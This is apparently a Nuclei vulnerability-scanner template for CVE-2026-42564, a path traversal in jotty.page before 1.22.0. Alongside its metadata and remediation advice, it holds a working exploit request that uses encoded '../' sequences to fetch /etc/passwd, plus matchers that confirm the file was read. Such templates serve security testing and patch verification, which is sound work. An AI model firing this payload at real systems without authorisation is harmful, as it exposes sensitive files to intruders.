id: CVE-2026-42564 info: name: jotty.page < 1.22.0 - Path Traversal author: Het-Kalariya severity: high description: | jotty·page < 1.22.0 contains a path traversal caused by lack of validation on filename parameter in /api/app-icons/[filename], letting unauthenticated attackers read arbitrary files outside intended directory. impact: | Unauthenticated attackers can read arbitrary files outside the intended directory, potentially exposing sensitive data. remediation: | Update to version 1.22.0 or later. reference: - https://nvd.nist.gov/vuln/detail/CVE-2026-42564 - https://github.com/fccview/jotty/security/advisories/GHSA-7843-gwq8-g96f classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N cvss-score: 8.2 cve-id: CVE-2026-42564 epss-score: 0.01157 epss-percentile: 0.66834 cwe-id: CWE-22 metadata: verified: true max-request: 1 vendor: fccview product: jotty tags: cve,cve2026,jotty,lfi,traversal,unauth http: - method: GET path: - '{{BaseURL}}/api/app-icons/..%2F..%2F..%2F..%2Fetc%2Fpasswd' matchers: - type: dsl dsl: - 'status_code == 200' - 'contains(to_lower(content_type), "application/octet-stream")' - 'regex("root:.*:0:0:", body)' condition: and # digest: 490a0046304402203449b814cc48bfc4f0bda9373c84b9b6525c1a2c41050d45c12eb88ba5e23967022062a46999325f550c2fdb9f8de6dbd09247c709ebe9e052e7e3ce103da43a5009:922c64590222798bb761d5b6d8e72950